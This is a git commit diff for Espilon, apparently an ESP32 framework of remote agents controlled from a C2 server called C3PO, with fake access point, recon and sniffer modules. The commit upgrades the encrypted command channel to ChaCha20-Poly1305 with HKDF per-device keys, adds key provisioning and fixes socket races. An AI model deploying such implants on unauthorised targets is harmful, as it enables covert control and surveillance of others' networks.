ε - ChaCha20-Poly1305 AEAD + HKDF crypto upgrade + C3PO rewrite + docs

Crypto:
- Replace broken ChaCha20 (static nonce) with ChaCha20-Poly1305 AEAD
- HKDF-SHA256 key derivation from per-device factory NVS master keys
- Random 12-byte nonce per message (ESP32 hardware RNG)
- crypto_init/encrypt/decrypt API with mbedtls legacy (ESP-IDF v5.3.2)
- Custom partition table with factory NVS (fctry at 0x10000)

Firmware:
- crypto.c full rewrite, messages.c device_id prefix + AEAD encrypt
- crypto_init() at boot with esp_restart() on failure
- Fix command_t initializations across all modules (sub/help fields)
- Clean CMakeLists dependencies for ESP-IDF v5.3.2

C3PO (C2):
- Rename tools/c2 + tools/c3po -> tools/C3PO
- Per-device CryptoContext with HKDF key derivation
- KeyStore (keys.json) for master key management
- Transport parses device_id:base64(...) wire format

Tools:
- New tools/provisioning/provision.py for factory NVS key generation
- Updated flasher with mbedtls config for v5.3.2

Docs:
- Update all READMEs for new crypto, C3PO paths, provisioning
- Update roadmap, architecture diagrams, security sections
- Update CONTRIBUTING.md project structure
This commit is contained in:
Eun0us 2026-02-10 21:28:45 +01:00
parent 3311626d58
commit 8b6c1cd53d
111 changed files with 2135 additions and 2854 deletions

14
.gitignore vendored
View File

@ -30,18 +30,20 @@ ENV/
.venv .venv
# Tools - Python dependencies # Tools - Python dependencies
tools/c2/__pycache__/ tools/C3PO/__pycache__/
tools/c3po/__pycache__/
tools/flasher/__pycache__/ tools/flasher/__pycache__/
*.pyc *.pyc
# Configuration files with secrets # Configuration files with secrets
tools/flasher/devices.json tools/flasher/devices.json
tools/flasher/devices.*.json tools/flasher/devices.*.json
tools/c2/config.json tools/C3PO/config.json
tools/c3po/config.json
**/config.local.json **/config.local.json
# C3PO runtime / secrets
tools/C3PO/keys.json
tools/C3PO/*.db
# Logs # Logs
*.log *.log
logs/ logs/
@ -49,8 +51,8 @@ espilon_bot/logs/
sdkconfig sdkconfig
# C2 Runtime files (camera streams, recordings) # C2 Runtime files (camera streams, recordings)
tools/c2/static/streams/*.jpg tools/C3PO/static/streams/*.jpg
tools/c2/static/recordings/*.avi tools/C3PO/static/recordings/*.avi
*.avi *.avi
# IDE and Editor # IDE and Editor

View File

@ -415,7 +415,7 @@ idf.py monitor
**For C2 changes**: **For C2 changes**:
```bash ```bash
cd tools/c2 cd tools/c2
python3 c3po.py --port 2626 python3 c3po.py
# Test with connected ESP32 # Test with connected ESP32
``` ```
@ -596,8 +596,9 @@ epsilon/
│ │ └── mod_recon/ # Recon module │ │ └── mod_recon/ # Recon module
│ └── main/ # Main application │ └── main/ # Main application
├── tools/ # Supporting tools ├── tools/ # Supporting tools
│ ├── c2/ # C2 server (Python) │ ├── C3PO/ # C2 server (Python)
│ ├── flasher/ # Multi-flasher tool │ ├── flasher/ # Multi-flasher tool
│ ├── provisioning/ # Device key provisioning
│ └── nan/ # NanoPB tools │ └── nan/ # NanoPB tools
├── docs/ # Documentation ├── docs/ # Documentation
│ ├── INSTALL.md │ ├── INSTALL.md

View File

@ -138,7 +138,7 @@ Espilon transforme des microcontrôleurs ESP32 abordables à **~5€** en agents
│ ESP32 Agent │ │ ESP32 Agent │
│ ┌───────────┐ ┌──────────┐ ┌─────────────────┐ │ │ ┌───────────┐ ┌──────────┐ ┌─────────────────┐ │
│ │ WiFi/ │→ │ ChaCha20 │→ │ C2 Protocol │ │ │ │ WiFi/ │→ │ ChaCha20 │→ │ C2 Protocol │ │
│ │ GPRS │← │ Crypto │← │ (nanoPB/TCP) │ │ │ │ GPRS │← │ Poly1305 │← │ (nanoPB/TCP) │ │
│ └───────────┘ └──────────┘ └─────────────────┘ │ │ └───────────┘ └──────────┘ └─────────────────┘ │
│ ↓ ↓ ↓ │ │ ↓ ↓ ↓ │
│ ┌───────────────────────────────────────────────┐ │ │ ┌───────────────────────────────────────────────┐ │
@ -157,7 +157,7 @@ Espilon transforme des microcontrôleurs ESP32 abordables à **~5€** en agents
### Composants Clés ### Composants Clés
- **Core** : Connexion réseau, crypto ChaCha20, protocole nanoPB - **Core** : Connexion réseau, ChaCha20-Poly1305 AEAD + dérivation HKDF, protocole nanoPB
- **Modules** : Système extensible (Network, FakeAP, Recon, etc.) - **Modules** : Système extensible (Network, FakeAP, Recon, etc.)
- **C2 (C3PO)** : Serveur Python asyncio pour contrôle multi-agents - **C2 (C3PO)** : Serveur Python asyncio pour contrôle multi-agents
- **C3PO**: Ancien c2 (serveur web - Trilateration + Front affichage caméra) - **C3PO**: Ancien c2 (serveur web - Trilateration + Front affichage caméra)
@ -259,8 +259,6 @@ python3 flash.py --config devices.json
"module_fakeap": false, "module_fakeap": false,
"recon_camera": false, "recon_camera": false,
"recon_ble_trilat": false, "recon_ble_trilat": false,
"crypto_key": "testde32chars00000000000000000000",
"crypto_nonce": "noncenonceno"
}, },
## GPRS AGENT ## ## GPRS AGENT ##
@ -282,22 +280,30 @@ python3 flash.py --config devices.json
Voir [tools/flasher/README.md](tools/flasher/README.md) pour la documentation complète. Voir [tools/flasher/README.md](tools/flasher/README.md) pour la documentation complète.
### Provisioning des Devices
Chaque device nécessite une master key unique flashée dans sa partition factory NVS :
```bash
cd tools/provisioning
python3 provision.py --device-id mon-device --port /dev/ttyUSB0
```
Génère une clé aléatoire de 32 bytes, l'écrit en factory NVS, et la sauvegarde dans le keystore C2 (`keys.json`).
Voir [tools/provisioning/](tools/provisioning/) pour les détails.
### C2 Server (C3PO) ### C2 Server (C3PO)
Serveur de Command & Control : Serveur de Command & Control :
```bash ```bash
cd tools/c2 cd tools/C3PO
pip3 install -r requirements.txt pip3 install -r requirements.txt
python3 c3po.py --port 2626 python3 c3po.py
``` ```
**Commandes** : Documentation complète et liste des commandes : voir [tools/C3PO/README.md](tools/C3PO/README.md).
- `list` : Lister les agents connectés
- `select <id>` : Sélectionner un agent
- `cmd <command>` : Exécuter une commande
- `group` : Gérer les groupes d'agents
--- ---
@ -305,17 +311,13 @@ python3 c3po.py --port 2626
### Chiffrement ### Chiffrement
- **ChaCha20** pour les communications C2 - **ChaCha20-Poly1305 AEAD** pour le chiffrement authentifié de toutes les communications C2
- **Clés configurables** via menuconfig - **HKDF-SHA256** dérivation de clé (master key per-device + salt device ID)
- **Nonce aléatoire de 12 bytes** par message (RNG hardware ESP32)
- **Master keys per-device** stockées en partition factory NVS (read-only)
- **Protocol Buffers (nanoPB)** pour la sérialisation - **Protocol Buffers (nanoPB)** pour la sérialisation
⚠️ **CHANGEZ LES CLÉS PAR DÉFAUT** pour un usage en production : Provisionner chaque device avec une master key unique via `tools/provisioning/provision.py`. Les clés ne sont jamais hardcodées dans le firmware.
```bash
# Générer des clés aléatoires
openssl rand -hex 32 # ChaCha20 key (32 bytes)
openssl rand -hex 12 # Nonce (12 bytes)
```
### Usage Responsable ### Usage Responsable
@ -356,9 +358,10 @@ Espilon doit être utilisé uniquement pour :
### V2.0 (En cours) ### V2.0 (En cours)
- [x] Upgrade crypto ChaCha20-Poly1305 AEAD + HKDF
- [x] Provisioning per-device factory NVS
- [x] Réécriture C3PO avec crypto per-device
- [ ] Mesh networking (BLE/WiFi) - [ ] Mesh networking (BLE/WiFi)
- [ ] Implémenter Module reccoon dans C3PO
- [ ] Améliorer la Documentations [here](https://docs.espilon.net)
- [ ] OTA updates - [ ] OTA updates
- [ ] Multilatération collaborative - [ ] Multilatération collaborative
- [ ] Optimisation mémoire - [ ] Optimisation mémoire

View File

@ -138,7 +138,7 @@ Espilon transforms affordable ESP32 microcontrollers (~$5) into powerful network
| ESP32 Agent | | ESP32 Agent |
| +-----------+ +----------+ +---------------------+ | | +-----------+ +----------+ +---------------------+ |
| | WiFi/ |->| ChaCha20 |->| C2 Protocol | | | | WiFi/ |->| ChaCha20 |->| C2 Protocol | |
| | GPRS |<-| Crypto |<-| (nanoPB/TCP) | | | | GPRS |<-| Poly1305 |<-| (nanoPB/TCP) | |
| +-----------+ +----------+ +---------------------+ | | +-----------+ +----------+ +---------------------+ |
| | | | | | | | | |
| +-----------------------------------------------------+| | +-----------------------------------------------------+|
@ -157,7 +157,7 @@ Espilon transforms affordable ESP32 microcontrollers (~$5) into powerful network
### Key Components ### Key Components
- **Core**: Network connection, ChaCha20 crypto, nanoPB protocol - **Core**: Network connection, ChaCha20-Poly1305 AEAD + HKDF key derivation, nanoPB protocol
- **Modules**: Extensible system (Network, FakeAP, Recon, etc.) - **Modules**: Extensible system (Network, FakeAP, Recon, etc.)
- **C2 (C3PO)**: Python asyncio server for multi-agent control - **C2 (C3PO)**: Python asyncio server for multi-agent control
- **Flasher**: Automated multi-device flashing tool - **Flasher**: Automated multi-device flashing tool
@ -257,22 +257,30 @@ python3 flash.py --config devices.json
See [tools/flasher/README.md](tools/flasher/README.md) for complete documentation. See [tools/flasher/README.md](tools/flasher/README.md) for complete documentation.
### Device Provisioning
Each device needs a unique master key flashed into its factory NVS partition before first use:
```bash
cd tools/provisioning
python3 provision.py --device-id my-device --port /dev/ttyUSB0
```
This generates a 32-byte random master key, writes it to the factory NVS partition, and saves it to the C2 keystore (`keys.json`).
See [tools/provisioning/](tools/provisioning/) for details.
### C2 Server (C3PO) ### C2 Server (C3PO)
Command & Control server: Command & Control server:
```bash ```bash
cd tools/c2 cd tools/C3PO
pip3 install -r requirements.txt pip3 install -r requirements.txt
python3 c3po.py --port 2626 python3 c3po.py
``` ```
**Commands**: Full C2 documentation and command list: see [tools/C3PO/README.md](tools/C3PO/README.md).
- `list`: List connected agents
- `select <id>`: Select an agent
- `cmd <command>`: Execute a command
- `group`: Manage agent groups
--- ---
@ -280,17 +288,13 @@ python3 c3po.py --port 2626
### Encryption ### Encryption
- **ChaCha20** for C2 communications - **ChaCha20-Poly1305 AEAD** for authenticated encryption of all C2 communications
- **Configurable keys** via menuconfig - **HKDF-SHA256** key derivation (per-device master key + device ID salt)
- **Random 12-byte nonce** per message (ESP32 hardware RNG)
- **Per-device master keys** stored in factory NVS partition (read-only)
- **Protocol Buffers (nanoPB)** for serialization - **Protocol Buffers (nanoPB)** for serialization
**CHANGE DEFAULT KEYS** for production use: Provision each device with a unique master key using `tools/provisioning/provision.py`. Keys are never hardcoded in firmware.
```bash
# Generate random keys
openssl rand -hex 32 # ChaCha20 key (32 bytes)
openssl rand -hex 12 # Nonce (12 bytes)
```
### Responsible Use ### Responsible Use
@ -331,8 +335,10 @@ Espilon should only be used for:
### V2.0 (In Progress) ### V2.0 (In Progress)
- [x] ChaCha20-Poly1305 AEAD + HKDF crypto upgrade
- [x] Per-device factory NVS key provisioning
- [x] C3PO C2 rewrite with per-device crypto
- [ ] Mesh networking (BLE/WiFi) - [ ] Mesh networking (BLE/WiFi)
- [ ] Improve documentation
- [ ] OTA updates - [ ] OTA updates
- [ ] Collaborative multilateration - [ ] Collaborative multilateration
- [ ] Memory optimization - [ ] Memory optimization

View File

@ -28,6 +28,8 @@ typedef esp_err_t (*command_handler_t)(
* ============================================================ */ * ============================================================ */
typedef struct { typedef struct {
const char *name; /* command name */ const char *name; /* command name */
const char *sub; /* subcommand name (optional) */
const char *help; /* help text (optional) */
int min_args; int min_args;
int max_args; int max_args;
command_handler_t handler; /* handler */ command_handler_t handler; /* handler */

View File

@ -30,6 +30,13 @@ static void async_worker(void *arg)
while (1) { while (1) {
if (xQueueReceive(async_queue, &job, portMAX_DELAY)) { if (xQueueReceive(async_queue, &job, portMAX_DELAY)) {
/* Recompute argv_ptrs to point into THIS copy's argv buffers.
* xQueueReceive copies the struct by value, so the old
* pointers (set at enqueue time) are now dangling. */
for (int i = 0; i < job.argc; i++) {
job.argv_ptrs[i] = job.argv[i];
}
ESP_LOGI(TAG, "Async exec: %s", job.cmd->name); ESP_LOGI(TAG, "Async exec: %s", job.cmd->name);
job.cmd->handler( job.cmd->handler(

View File

@ -1,11 +1,11 @@
set(PRIV_REQUIRES_LIST set(PRIV_REQUIRES_LIST
mbedtls mbedtls
lwip nvs_flash
mod_network lwip
mod_network
mod_fakeAP mod_fakeAP
mod_recon mod_recon
esp_timer esp_timer
esp_driver_uart
driver driver
command command
) )

View File

@ -16,9 +16,11 @@
#include "c2.pb.h" #include "c2.pb.h"
#include "pb_decode.h" #include "pb_decode.h"
#include "freertos/semphr.h"
#include "utils.h" #include "utils.h"
int sock = -1; int sock = -1;
SemaphoreHandle_t sock_mutex = NULL;
#ifdef CONFIG_NETWORK_WIFI #ifdef CONFIG_NETWORK_WIFI
static const char *TAG = "CORE_WIFI"; static const char *TAG = "CORE_WIFI";
@ -63,8 +65,8 @@ static bool tcp_connect(void)
{ {
struct sockaddr_in server_addr = {0}; struct sockaddr_in server_addr = {0};
sock = lwip_socket(AF_INET, SOCK_STREAM, 0); int new_sock = lwip_socket(AF_INET, SOCK_STREAM, 0);
if (sock < 0) { if (new_sock < 0) {
ESP_LOGE(TAG, "socket() failed"); ESP_LOGE(TAG, "socket() failed");
return false; return false;
} }
@ -73,15 +75,18 @@ static bool tcp_connect(void)
server_addr.sin_port = htons(CONFIG_SERVER_PORT); server_addr.sin_port = htons(CONFIG_SERVER_PORT);
server_addr.sin_addr.s_addr = inet_addr(CONFIG_SERVER_IP); server_addr.sin_addr.s_addr = inet_addr(CONFIG_SERVER_IP);
if (lwip_connect(sock, if (lwip_connect(new_sock,
(struct sockaddr *)&server_addr, (struct sockaddr *)&server_addr,
sizeof(server_addr)) != 0) { sizeof(server_addr)) != 0) {
ESP_LOGE(TAG, "connect() failed"); ESP_LOGE(TAG, "connect() failed");
lwip_close(sock); lwip_close(new_sock);
sock = -1;
return false; return false;
} }
xSemaphoreTake(sock_mutex, portMAX_DELAY);
sock = new_sock;
xSemaphoreGive(sock_mutex);
ESP_LOGI(TAG, "Connected to %s:%d", ESP_LOGI(TAG, "Connected to %s:%d",
CONFIG_SERVER_IP, CONFIG_SERVER_IP,
CONFIG_SERVER_PORT); CONFIG_SERVER_PORT);
@ -94,10 +99,13 @@ static bool tcp_connect(void)
* ========================================================= */ * ========================================================= */
static void handle_frame(const uint8_t *buf, size_t len) static void handle_frame(const uint8_t *buf, size_t len)
{ {
char tmp[len + 1]; if (len == 0 || len >= RX_BUF_SIZE) {
memcpy(tmp, buf, len); ESP_LOGW(TAG, "Frame too large or empty (%d bytes), dropping", (int)len);
tmp[len] = '\0'; return;
c2_decode_and_exec(tmp); }
/* buf is already null-terminated by strtok in tcp_rx_loop,
and c2_decode_and_exec makes its own 1024-byte copy. */
c2_decode_and_exec((const char *)buf);
} }
@ -108,11 +116,19 @@ static void tcp_rx_loop(void)
{ {
static uint8_t rx_buf[RX_BUF_SIZE]; static uint8_t rx_buf[RX_BUF_SIZE];
int len = lwip_recv(sock, rx_buf, sizeof(rx_buf) - 1, 0); xSemaphoreTake(sock_mutex, portMAX_DELAY);
int current_sock = sock;
xSemaphoreGive(sock_mutex);
if (current_sock < 0) return;
int len = lwip_recv(current_sock, rx_buf, sizeof(rx_buf) - 1, 0);
if (len <= 0) { if (len <= 0) {
ESP_LOGW(TAG, "RX failed / disconnected"); ESP_LOGW(TAG, "RX failed / disconnected");
xSemaphoreTake(sock_mutex, portMAX_DELAY);
lwip_close(sock); lwip_close(sock);
sock = -1; sock = -1;
xSemaphoreGive(sock_mutex);
return; return;
} }
@ -131,6 +147,9 @@ static void tcp_rx_loop(void)
* ========================================================= */ * ========================================================= */
void tcp_client_task(void *pvParameters) void tcp_client_task(void *pvParameters)
{ {
if (!sock_mutex)
sock_mutex = xSemaphoreCreateMutex();
while (1) { while (1) {
if (!tcp_connect()) { if (!tcp_connect()) {

View File

@ -17,7 +17,7 @@ bool com_init(void)
xTaskCreatePinnedToCore( xTaskCreatePinnedToCore(
tcp_client_task, tcp_client_task,
"tcp_client_task", "tcp_client_task",
8192, 12288,
NULL, NULL,
1, 1,
NULL, NULL,

View File

@ -1,12 +1,18 @@
// crypto.c // crypto.c ChaCha20-Poly1305 AEAD with HKDF key derivation
#include <stdio.h> #include <stdio.h>
#include <stdlib.h> #include <stdlib.h>
#include <string.h> #include <string.h>
#include "esp_log.h" #include "esp_log.h"
#include "esp_random.h"
#include "nvs_flash.h"
#include "nvs.h"
#include "mbedtls/chacha20.h" #include "mbedtls/chachapoly.h"
#include "mbedtls/hkdf.h"
#include "mbedtls/md.h"
#include "mbedtls/base64.h" #include "mbedtls/base64.h"
#include "mbedtls/platform_util.h"
#include "pb_decode.h" #include "pb_decode.h"
#include "c2.pb.h" #include "c2.pb.h"
@ -16,53 +22,186 @@
static const char *TAG = "CRYPTO"; static const char *TAG = "CRYPTO";
/* ============================================================ #define NONCE_LEN 12
* Compile-time security checks #define TAG_LEN 16
* ============================================================ */ #define KEY_LEN 32
_Static_assert(sizeof(CONFIG_CRYPTO_KEY) - 1 == 32, #define OVERHEAD (NONCE_LEN + TAG_LEN) /* 28 bytes */
"CONFIG_CRYPTO_KEY must be exactly 32 bytes");
_Static_assert(sizeof(CONFIG_CRYPTO_NONCE) - 1 == 12, static uint8_t derived_key[KEY_LEN];
"CONFIG_CRYPTO_NONCE must be exactly 12 bytes"); static bool crypto_ready = false;
/* ============================================================ /* ============================================================
* ChaCha20 encrypt/decrypt (same function) * crypto_init read master key from factory NVS, derive via HKDF
* ============================================================ */ * ============================================================ */
unsigned char *chacha_cd(const unsigned char *data, size_t data_len) bool crypto_init(void)
{ {
if (!data || data_len == 0) { esp_err_t err;
ESP_LOGE(TAG, "Invalid input to chacha_cd");
return NULL; /* 1) Init the factory NVS partition */
err = nvs_flash_init_partition("fctry");
if (err != ESP_OK) {
ESP_LOGE(TAG, "nvs_flash_init_partition(fctry) failed: %s",
esp_err_to_name(err));
return false;
} }
unsigned char *out = (unsigned char *)malloc(data_len); /* 2) Open the crypto namespace (read-only) */
if (!out) { nvs_handle_t handle;
ESP_LOGE(TAG, "malloc failed in chacha_cd"); err = nvs_open_from_partition(
return NULL; "fctry",
CONFIG_CRYPTO_FCTRY_NS,
NVS_READONLY,
&handle
);
if (err != ESP_OK) {
ESP_LOGE(TAG, "nvs_open_from_partition(fctry/%s) failed: %s",
CONFIG_CRYPTO_FCTRY_NS, esp_err_to_name(err));
return false;
} }
unsigned char key[32]; /* 3) Read the 32-byte master key blob */
unsigned char nonce[12]; uint8_t master_key[KEY_LEN];
uint32_t counter = 0; size_t mk_len = sizeof(master_key);
memcpy(key, CONFIG_CRYPTO_KEY, sizeof(key)); err = nvs_get_blob(handle, CONFIG_CRYPTO_FCTRY_KEY, master_key, &mk_len);
memcpy(nonce, CONFIG_CRYPTO_NONCE, sizeof(nonce)); nvs_close(handle);
int ret = mbedtls_chacha20_crypt( if (err != ESP_OK || mk_len != KEY_LEN) {
key, ESP_LOGE(TAG, "nvs_get_blob(%s) failed: %s (len=%u)",
CONFIG_CRYPTO_FCTRY_KEY, esp_err_to_name(err),
(unsigned)mk_len);
mbedtls_platform_zeroize(master_key, sizeof(master_key));
return false;
}
/* 4) HKDF-SHA256: derive the encryption key */
const char *info = "espilon-c2-v1";
const char *salt = CONFIG_DEVICE_ID;
int ret = mbedtls_hkdf(
mbedtls_md_info_from_type(MBEDTLS_MD_SHA256),
(const uint8_t *)salt, strlen(salt),
master_key, KEY_LEN,
(const uint8_t *)info, strlen(info),
derived_key, KEY_LEN
);
/* Wipe master key from RAM immediately */
mbedtls_platform_zeroize(master_key, sizeof(master_key));
if (ret != 0) {
ESP_LOGE(TAG, "HKDF failed (%d)", ret);
return false;
}
crypto_ready = true;
ESP_LOGI(TAG, "Crypto ready (ChaCha20-Poly1305 + HKDF)");
return true;
}
/* ============================================================
* crypto_encrypt ChaCha20-Poly1305 AEAD
*
* Output layout: nonce[12] || ciphertext[plain_len] || tag[16]
* Returns total output length, or -1 on error.
* ============================================================ */
int crypto_encrypt(const uint8_t *plain, size_t plain_len,
uint8_t *out, size_t out_cap)
{
if (!crypto_ready) {
ESP_LOGE(TAG, "crypto_encrypt: not initialized");
return -1;
}
if (!plain || plain_len == 0 || !out) {
ESP_LOGE(TAG, "crypto_encrypt: invalid args");
return -1;
}
size_t needed = plain_len + OVERHEAD;
if (out_cap < needed) {
ESP_LOGE(TAG, "crypto_encrypt: buffer too small (%u < %u)",
(unsigned)out_cap, (unsigned)needed);
return -1;
}
/* Random nonce in the first 12 bytes */
esp_fill_random(out, NONCE_LEN);
mbedtls_chachapoly_context ctx;
mbedtls_chachapoly_init(&ctx);
mbedtls_chachapoly_setkey(&ctx, derived_key);
int ret = mbedtls_chachapoly_encrypt_and_tag(
&ctx,
plain_len,
out, /* nonce */
NULL, 0, /* no AAD */
plain, /* input */
out + NONCE_LEN, /* output (ciphertext) */
out + NONCE_LEN + plain_len /* tag */
);
mbedtls_chachapoly_free(&ctx);
if (ret != 0) {
ESP_LOGE(TAG, "chachapoly encrypt failed (%d)", ret);
return -1;
}
return (int)needed;
}
/* ============================================================
* crypto_decrypt ChaCha20-Poly1305 AEAD
*
* Input layout: nonce[12] || ciphertext[N] || tag[16]
* Returns plaintext length, or -1 on error / auth failure.
* ============================================================ */
int crypto_decrypt(const uint8_t *in, size_t in_len,
uint8_t *out, size_t out_cap)
{
if (!crypto_ready) {
ESP_LOGE(TAG, "crypto_decrypt: not initialized");
return -1;
}
if (!in || in_len < OVERHEAD || !out) {
ESP_LOGE(TAG, "crypto_decrypt: invalid args (in_len=%u)",
(unsigned)in_len);
return -1;
}
size_t ct_len = in_len - OVERHEAD;
if (out_cap < ct_len) {
ESP_LOGE(TAG, "crypto_decrypt: buffer too small");
return -1;
}
const uint8_t *nonce = in;
const uint8_t *ct = in + NONCE_LEN;
const uint8_t *tag = in + NONCE_LEN + ct_len;
mbedtls_chachapoly_context ctx;
mbedtls_chachapoly_init(&ctx);
mbedtls_chachapoly_setkey(&ctx, derived_key);
int ret = mbedtls_chachapoly_auth_decrypt(
&ctx,
ct_len,
nonce, nonce,
counter, NULL, 0, /* no AAD */
data_len, tag,
data, ct,
out out
); );
mbedtls_chachapoly_free(&ctx);
if (ret != 0) { if (ret != 0) {
ESP_LOGE(TAG, "ChaCha20 failed (%d)", ret); ESP_LOGE(TAG, "AEAD auth/decrypt failed (%d)", ret);
free(out); return -1;
return NULL;
} }
return out; /* binary-safe */ return (int)ct_len;
} }
/* ============================================================ /* ============================================================
@ -134,7 +273,6 @@ char *base64_decode(const char *input, size_t *output_len)
return NULL; return NULL;
} }
/* Optional null terminator for debug */
out[*output_len] = '\0'; out[*output_len] = '\0';
return (char *)out; return (char *)out;
} }
@ -155,11 +293,10 @@ bool c2_decode_and_exec(const char *frame)
memcpy(tmp, frame, n); memcpy(tmp, frame, n);
tmp[n] = '\0'; tmp[n] = '\0';
while (n > 0 && (tmp[n - 1] == '\r' || tmp[n - 1] == '\n' || tmp[n - 1] == ' ')) { while (n > 0 && (tmp[n - 1] == '\r' || tmp[n - 1] == '\n' || tmp[n - 1] == ' ')) {
tmp[n - 1] = '\0'; tmp[--n] = '\0';
n--;
} }
ESP_LOGI(TAG, "C2 RX b64: %s", tmp); ESP_LOGD(TAG, "C2 RX b64 (%u bytes)", (unsigned)n);
/* 1) Base64 decode */ /* 1) Base64 decode */
size_t decoded_len = 0; size_t decoded_len = 0;
@ -170,27 +307,28 @@ bool c2_decode_and_exec(const char *frame)
return false; return false;
} }
/* 2) ChaCha decrypt */ /* 2) Decrypt + authenticate (AEAD) */
unsigned char *plain = chacha_cd((const unsigned char *)decoded, decoded_len); uint8_t plain[1024];
int plain_len = crypto_decrypt(
(const uint8_t *)decoded, decoded_len,
plain, sizeof(plain)
);
free(decoded); free(decoded);
if (!plain) { if (plain_len < 0) {
ESP_LOGE(TAG, "ChaCha decrypt failed"); ESP_LOGE(TAG, "Decrypt/auth failed tampered or wrong key");
return false; return false;
} }
/* 3) Protobuf decode -> c2_Command */ /* 3) Protobuf decode -> c2_Command */
c2_Command cmd = c2_Command_init_zero; c2_Command cmd = c2_Command_init_zero;
pb_istream_t is = pb_istream_from_buffer(plain, decoded_len); pb_istream_t is = pb_istream_from_buffer(plain, (size_t)plain_len);
if (!pb_decode(&is, c2_Command_fields, &cmd)) { if (!pb_decode(&is, c2_Command_fields, &cmd)) {
ESP_LOGE(TAG, "PB decode error: %s", PB_GET_ERROR(&is)); ESP_LOGE(TAG, "PB decode error: %s", PB_GET_ERROR(&is));
free(plain);
return false; return false;
} }
free(plain);
/* 4) Log + dispatch */ /* 4) Log + dispatch */
#ifdef CONFIG_ESPILON_LOG_C2_VERBOSE #ifdef CONFIG_ESPILON_LOG_C2_VERBOSE
ESP_LOGI(TAG, "==== C2 COMMAND ===="); ESP_LOGI(TAG, "==== C2 COMMAND ====");

View File

@ -8,12 +8,14 @@
#include "pb_encode.h" #include "pb_encode.h"
#include "c2.pb.h" #include "c2.pb.h"
#include "utils.h" /* base64_encode, chacha_cd, CONFIG_DEVICE_ID */ #include "freertos/semphr.h"
#include "utils.h" /* crypto_encrypt, base64_encode, CONFIG_DEVICE_ID */
#define TAG "AGENT_MSG" #define TAG "AGENT_MSG"
#define MAX_PROTOBUF_SIZE 512 #define MAX_PROTOBUF_SIZE 512
extern int sock; extern int sock;
extern SemaphoreHandle_t sock_mutex;
/* ============================================================ /* ============================================================
* TCP helpers * TCP helpers
@ -22,12 +24,19 @@ extern int sock;
static bool tcp_send_all(const void *buf, size_t len) static bool tcp_send_all(const void *buf, size_t len)
{ {
#ifdef CONFIG_NETWORK_WIFI #ifdef CONFIG_NETWORK_WIFI
extern int sock; xSemaphoreTake(sock_mutex, portMAX_DELAY);
int current_sock = sock;
xSemaphoreGive(sock_mutex);
if (current_sock < 0) {
ESP_LOGE(TAG, "socket not connected");
return false;
}
const uint8_t *p = (const uint8_t *)buf; const uint8_t *p = (const uint8_t *)buf;
while (len > 0) { while (len > 0) {
int sent = lwip_write(sock, p, len); int sent = lwip_write(current_sock, p, len);
if (sent <= 0) { if (sent <= 0) {
ESP_LOGE(TAG, "lwip_write failed"); ESP_LOGE(TAG, "lwip_write failed");
return false; return false;
@ -54,8 +63,11 @@ static bool send_base64_frame(const uint8_t *data, size_t len)
return false; return false;
} }
bool ok = tcp_send_all(b64, strlen(b64)) && /* Prepend "device_id:" so the C2 can identify which key to use */
tcp_send_all("\n", 1); bool ok = tcp_send_all(CONFIG_DEVICE_ID, strlen(CONFIG_DEVICE_ID))
&& tcp_send_all(":", 1)
&& tcp_send_all(b64, strlen(b64))
&& tcp_send_all("\n", 1);
free(b64); free(b64);
return ok; return ok;
@ -67,10 +79,10 @@ static bool send_base64_frame(const uint8_t *data, size_t len)
static bool encode_encrypt_send(c2_AgentMessage *msg) static bool encode_encrypt_send(c2_AgentMessage *msg)
{ {
uint8_t buffer[MAX_PROTOBUF_SIZE]; uint8_t pb_buf[MAX_PROTOBUF_SIZE];
pb_ostream_t stream = pb_ostream_t stream =
pb_ostream_from_buffer(buffer, sizeof(buffer)); pb_ostream_from_buffer(pb_buf, sizeof(pb_buf));
if (!pb_encode(&stream, c2_AgentMessage_fields, msg)) { if (!pb_encode(&stream, c2_AgentMessage_fields, msg)) {
ESP_LOGE(TAG, "pb_encode failed: %s", ESP_LOGE(TAG, "pb_encode failed: %s",
@ -80,16 +92,17 @@ static bool encode_encrypt_send(c2_AgentMessage *msg)
size_t proto_len = stream.bytes_written; size_t proto_len = stream.bytes_written;
uint8_t *cipher = /* nonce[12] + ciphertext + tag[16] */
(uint8_t *)chacha_cd(buffer, proto_len); uint8_t enc_buf[MAX_PROTOBUF_SIZE + 12 + 16];
if (!cipher) {
ESP_LOGE(TAG, "chacha_cd failed"); int enc_len = crypto_encrypt(pb_buf, proto_len,
enc_buf, sizeof(enc_buf));
if (enc_len < 0) {
ESP_LOGE(TAG, "crypto_encrypt failed");
return false; return false;
} }
bool ok = send_base64_frame(cipher, proto_len); return send_base64_frame(enc_buf, (size_t)enc_len);
free(cipher);
return ok;
} }
/* ============================================================ /* ============================================================

View File

@ -18,14 +18,15 @@ void process_command(const c2_Command *cmd)
} }
/* ----------------------------------------------------- /* -----------------------------------------------------
* Device ID check * Device ID check allow broadcast (empty device_id)
* ----------------------------------------------------- */ * ----------------------------------------------------- */
//if (!device_id_matches(CONFIG_DEVICE_ID, cmd->device_id)) { if (cmd->device_id[0] != '\0' &&
// ESP_LOGW(TAG, strcmp(CONFIG_DEVICE_ID, cmd->device_id) != 0) {
// "Command not for this device (target=%s)", ESP_LOGW(TAG,
// cmd->device_id); "Command not for this device (target=%s, self=%s)",
// return; cmd->device_id, CONFIG_DEVICE_ID);
//} return;
}
/* ----------------------------------------------------- /* -----------------------------------------------------
* Basic validation * Basic validation

View File

@ -64,14 +64,25 @@ extern int sock;
bool com_init(void); bool com_init(void);
/* ============================================================ /* ============================================================
* CRYPTO API * CRYPTO API (ChaCha20-Poly1305 AEAD + HKDF)
* ============================================================ */ * ============================================================ */
/* Init crypto: read master key from factory NVS, derive via HKDF-SHA256 */
bool crypto_init(void);
/* /*
* ChaCha20 encrypt/decrypt * Encrypt (AEAD). Output: nonce[12] || ciphertext || tag[16]
* Retourne un buffer malloc()'d free() obligatoire * Returns total output length, or -1 on error.
*/ */
unsigned char *chacha_cd(const unsigned char *data, size_t data_len); int crypto_encrypt(const uint8_t *plain, size_t plain_len,
uint8_t *out, size_t out_cap);
/*
* Decrypt + verify (AEAD). Input: nonce[12] || ciphertext || tag[16]
* Returns plaintext length, or -1 on error / auth failure.
*/
int crypto_decrypt(const uint8_t *in, size_t in_len,
uint8_t *out, size_t out_cap);
/* Base64 helpers */ /* Base64 helpers */
char *base64_decode(const char *input, size_t *output_len); char *base64_decode(const char *input, size_t *output_len);

View File

@ -268,14 +268,14 @@ static int cmd_fakeap_sniffer_off(
* REGISTER COMMANDS * REGISTER COMMANDS
* ============================================================ */ * ============================================================ */
